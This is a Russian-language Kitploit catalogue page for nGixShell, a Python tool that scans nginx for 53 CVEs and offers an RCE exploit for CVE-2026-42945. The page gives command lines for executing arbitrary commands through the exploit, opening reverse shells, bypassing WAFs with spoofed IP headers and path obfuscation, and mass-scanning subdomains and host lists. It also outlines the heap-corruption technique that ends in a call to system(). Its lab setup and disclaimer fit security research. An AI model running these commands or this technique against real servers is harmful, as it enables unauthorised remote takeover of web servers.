Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/mateusverass/ngixshell
РазведкаСканеры уязвимостейФреймворки для эксплойтовЭксплуатация веб-приложенийОбход WAFВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеПеречисление ПоддоменовRed TeamingРазработка Полезной Нагрузки
2183 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
nGixshell — nginx CVE-сканер + фреймворк RCE-эксплойтов (CVE-2026-42945 + ещё 16) | Kitploit
GitHub
mateusverass/ngixshell

nGixshell

nginx CVE-сканер + фреймворк RCE-эксплойтов (CVE-2026-42945 + ещё 16)

Репозиторий
Поделиться
nGixShell

Python CVEs Zero deps License


nGixShell — это сканер CVE-уязвимостей nginx и фреймворк для эксплуатации RCE. Он включает рабочий proof-of-concept для CVE-2026-42945 — критического переполнения буфера в куче в ngx_http_rewrite_module — а также сканер, охватывающий 53 CVE-уязвимости nginx, с автоматическими HTTP-пробами, снятием отпечатков (fingerprinting), обнаружением и обходом WAF, аудитом веб-безопасности и генерацией отчётов.

Ноль внешних зависимостей. Чистый Python 3 stdlib.


Быстрый старт

root@kitploit:~
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Флаги не требуются — указание цели запускает всё автоматически.
TLS определяется автоматически. Отпечаток nginx снимается даже при server_tokens off.


Использование

root@kitploit:~
python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Режимы

Обнаружение и обход WAF

ФлагОписание
--waf-detectОбнаружить WAF перед сканированием
--waf-bypassВключить все техники обхода (также запускает обнаружение)
--waf-ip IPПодменить этот IP в заголовках обхода (по умолчанию: случайный RFC1918)

Техники обхода (все активны при установке --waf-bypass):

Обнаруживаемые WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Веб-аудит

Запускается автоматически в режиме сканирования. Все модули можно пропускать по отдельности.

  • Аудит заголовков — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, заголовки, раскрывающие версию
  • Обнаружение путей — 50+ путей; сторожевая проба устраняет ложные срабатывания от catch-all правил 403/301
  • Перечисление виртуальных хостов — требует различий и в статусе, и в теле ответа, чтобы избежать ложных срабатываний на блоке по умолчанию
  • Аудит TLS — проверяет поддержку TLS 1.0–1.3, срок действия сертификата и обнаружение самоподписанных сертификатов
  • stub_status — разбирает метрики активных соединений из /nginx_status, если он открыт

Подключение

ФлагОписание
--port PORTПереопределить порт
--tls

HTTP

ФлагОписание
--user-agent UAСвой User-Agent
--auth USER:PASSHTTP Basic-авторизация

Ограничение скорости / тайминг

ФлагОписание
--rate-limit RPSМаксимум запросов в секунду
--jitter MS

Вывод

ФлагОписание

Покрытие CVE

53 записи за 2009–2026 гг. Отсортировано по CVSS.


Уязвимость (CVE-2026-42945)

Движок rewrite-скриптов nginx использует модель из двух проходов: сначала вычисляется размер буфера, затем выполняется копирование. Флаг is_args устанавливается в основном движке, когда замена в rewrite содержит ?, но проход вычисления длины выполняется на заново обнулённом под-движке:

  • Проход длины — видит is_args = 0 → возвращает исходную длину захвата
  • Проход копирования — видит is_args = 1 → вызывает ngx_escape_uri(NGX_ESCAPE_ARGS), расширяя каждый небезопасный байт до 3 байт

Копирование переполняет буфер кучи недостаточного размера данными URI, контролируемыми атакующим. Эксплуатация повреждает соседний указатель очистки ngx_pool_t с помощью межзапросного heap feng shui, перенаправляя его на поддельный ngx_pool_cleanup_s, который вызывает system() при уничтожении пула.

Затронутые версии

ПродуктУязвимыеИсправленные
NGINX Open Source0.6.27 – 1.30.01.31.0, 1.30.1
NGINX PlusR32 – R36R36 P4, R35 P2, R32 P6

Бюллетень вендора: https://my.f5.com/manage/s/article/K000160932


Лабораторная среда

Протестировано на Ubuntu 24.04 LTS. Требуются Docker и Python 3.8+.

root@kitploit:~
# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Full scan
python3 ngixshell.py 127.0.0.1:19321

# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Отказ от ответственности

Только для авторизованного тестирования безопасности, CTF-соревнований и исследований.

Скачать инструмент
ФлагОписание
(нет)Авто — отпечаток + сканирование CVE + веб-аудит
--cmd 'CMD'Выполнить команду через RCE CVE-2026-42945
--cmd-file FILEВыполнить команды из файла (объединяются через ;)
--shellОткрыть обратный шелл
--shell-type TYPEПолезная нагрузка: bash python perl php nc powershell (по умолчанию: python)
--upgrade-shellАвтоматически отправить апгрейд PTY после подключения шелла
--subdomain-scan DOMAINНайти уязвимый nginx на поддоменах
--cve CVE-IDПроверить одну конкретную CVE
--list-cvesВывести все 53 CVE с CVSS и информацией о пробах
--list-candidatesВывести кандидатов адресов кучи
--dry-runТолько отпечаток + сканирование, без эксплойта
--target-file FILEСканировать несколько хостов из файла
ТехникаДетали
Подмена IPX-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP
Ротация UA11 реальных User-Agent браузеров/ботов, случайные для каждого запроса
Обфускация путидвойной слеш, дополнение /./, процентное кодирование, смена регистра
Перестановка регистра заголовковрандомизирует регистр имён заголовков для обхода сигнатур WAF
ФлагОписание
--skip-headersПропустить аудит HTTP-заголовков безопасности
--skip-pathsПропустить обнаружение путей/файлов
--skip-vhostsПропустить перечисление виртуальных хостов
--skip-tlsПропустить аудит протокола TLS
--path-wordlist FILEДополнительные пути для проверки (по одному на строку)
Принудительно использовать TLS (по умолчанию определяется автоматически)
--proxy URLПрокси: http://, https://, socks5://
--cookie VALUE
Заголовок Cookie
--header NAME:VALUEДополнительный заголовок (можно повторять)
Случайная задержка 0–MS мс между запросами
--retry NПовторить неубедительные пробы (по умолчанию: 1)
--timeout-multiplier XМасштабировать все таймауты (по умолчанию: 1.0)
--output FILE
Записать журнал в FILE
--jsonВывести JSON-сводку в конце
--html-report [FILE]Сгенерировать HTML-отчёт (по умолчанию: ngixshell_<host>_<ts>.html)
--verboseОтладочный вывод
CVECVSSКомпонентОписание
CVE-2026-429459.8 CRITICALrewriteПереполнение кучи → RCE (эксплуатируется)
CVE-2026-429468.1 HIGHrewriteПорча памяти (тот же бюллетень)
CVE-2022-417417.8 HIGHmp4Порча памяти через вредоносный mp4
CVE-2016-12477.8 HIGHpackagingПовышение привилегий через symlink на файл журнала
CVE-2021-230177.7 HIGHresolverПерезапись кучи off-by-one
CVE-2026-407017.5 HIGHrequestПорча памяти при обработке запроса
CVE-2026-429347.5 HIGHrequestПорча памяти (тот же бюллетень)
CVE-2026-277847.5 HIGHmp4Переполнение буфера через специально сформированный mp4
CVE-2026-326477.5 HIGHmp4Переполнение буфера (родственное предыдущему)
CVE-2024-249907.5 HIGHHTTP/3Use-after-free в модуле QUIC
CVE-2024-249897.5 HIGHHTTP/3Разыменование NULL-указателя в QUIC
CVE-2024-310797.5 HIGHHTTP/3Переполнение стека в кодировщике QUIC
CVE-2024-327607.5 HIGHHTTP/3Перезапись буфера через HEADERS-фрейм
CVE-2022-417427.5 HIGHmp4Раскрытие памяти кучи
CVE-2017-75297.5 HIGHrange filterЦелочисленное переполнение → чтение за границами буфера
CVE-2016-07467.5 HIGHresolverUse-after-free через специально сформированный DNS-ответ
CVE-2014-01337.5 HIGHSPDYПереполнение кучи в реализации SPDY
CVE-2014-00887.5 HIGHSPDYПорча памяти в SPDY
CVE-2013-45477.5 HIGHcoreОбход через пробел+NUL в URI
CVE-2013-20287.5 HIGHcoreПереполнение стека при chunked-кодировании
CVE-2012-11807.5 HIGHproxyUse-after-free в модуле proxy
CVE-2009-35557.5 HIGHSSLВнедрение при повторном согласовании TLS (MITM)
CVE-2009-26297.5 HIGHcoreНехватка буфера (underflow) при разборе URI
CVE-2026-429266.5 MEDIUMHTTP/2Расщепление запроса (request splitting) через proxy
CVE-2026-276546.5 MEDIUMWebDAVПереполнение кучи в модуле DAV
CVE-2026-287536.5 MEDIUMmailВнедрение заголовков в почтовом прокси
CVE-2026-16426.5 MEDIUMproxyУтечка при повторном использовании SSL-сессии апстрима
CVE-2019-95116.5 MEDIUMHTTP/2DoS CPU/памяти «Data Dribble»
CVE-2012-20896.8 MEDIUMmp4Переполнение буфера через mp4-запрос
CVE-2018-168455.5 MEDIUMmp4Целочисленное исчерпание (underflow) → крах + раскрытие данных
CVE-2019-203725.3 MEDIUMproxyHTTP request smuggling
CVE-2026-404605.3 MEDIUMHTTP/3Подделка QUIC-соединения
CVE-2026-287555.3 MEDIUMSSLРаскрытие памяти при обработке OCSP
CVE-2025-234195.3 MEDIUMSSLОбход сертификата при возобновлении TLS-сессии
CVE-2024-352005.3 MEDIUMHTTP/3Разыменование NULL-указателя
CVE-2024-341615.3 MEDIUMHTTP/3Раскрытие памяти
CVE-2016-44505.3 MEDIUMcoreNULL-указатель через chunked-тело запроса
CVE-2016-07425.0 MEDIUMresolverНекорректный указатель через специально сформированный UDP-пакет
CVE-2016-07475.0 MEDIUMresolverНедостаточный предел разрешения CNAME
CVE-2014-35565.0 MEDIUMmailВнедрение команды STARTTLS
CVE-2013-20705.3 MEDIUMproxyРаскрытие ответа бэкенда
CVE-2011-49635.0 MEDIUMaccessОбход контроля доступа через IPv6-литерал
CVE-2011-43155.0 MEDIUMresolverПереполнение кучи через специально сформированный DNS-ответ
CVE-2009-38965.0 MEDIUMcoreDoS через разыменование NULL-указателя
CVE-2025-538594.3 MEDIUMmailВнедрение SMTP-команды
CVE-2014-36164.3 MEDIUMSSLПутаница виртуальных хостов при TLS SNI
CVE-2026-276514.3 MEDIUMmailРазыменование NULL-указателя в почтовом прокси
CVE-2019-95134.3 MEDIUMHTTP/2DoS CPU «Resource Loop»
CVE-2019-95164.3 MEDIUMHTTP/2Истощение памяти через заголовки нулевой длины
CVE-2018-168434.3 MEDIUMHTTP/2Чрезмерное потребление памяти
CVE-2018-168444.3 MEDIUMHTTP/2Чрезмерная нагрузка на CPU через SETTINGS-фреймы
CVE-2024-73474.7 MEDIUMmp4Чтение за границами буфера
CVE-2009-38984.9 MEDIUMWebDAVОбход каталогов через COPY/MOVE